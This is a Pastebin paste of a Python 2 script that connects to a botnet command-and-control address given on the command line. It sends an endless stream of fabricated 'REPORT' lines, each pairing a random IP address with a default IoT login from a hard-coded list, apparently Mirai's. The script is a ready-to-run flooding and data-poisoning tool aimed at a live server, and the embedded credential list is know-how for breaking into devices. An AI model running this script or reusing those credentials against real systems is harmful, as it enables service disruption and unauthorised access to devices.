Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from faker import Factory
- import random, socket, sys
- username_password = ["root:xc3511","root:vizxv", "root:admin","admin:admin","root:888888","root:xmhdipc","root:default","root:juantech","root:123456","root:54321","support:support","root:","admin:password","root:root","root:12345","user:user","admin:","root:pass","admin:admin1234",]
- rand_ip = Factory.create()
- def get_random_reportstr():
- global username_password
- report_str = "REPORT " + rand_ip.ipv4() + " " + random.choice(username_password) + "\n"
- return report_str
- if __name__ == "__main__":
- try:
- CNC_IP = sys.argv[1]
- CNC_PORT = sys.argv[2]
- except IndexError:
- print "Usage: " + sys.argv[0] + " <CNC IP> <CNC PORT>"
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect((CNC_IP, int(CNC_PORT)))
- while True:
- report_str = get_random_reportstr()
- s.send(report_str)
- print "Sent \"" + report_str + "\" to " + CNC_IP
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement